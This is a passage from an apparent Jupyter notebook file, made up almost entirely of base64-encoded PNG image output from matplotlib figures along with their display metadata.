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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1a43c1a8160>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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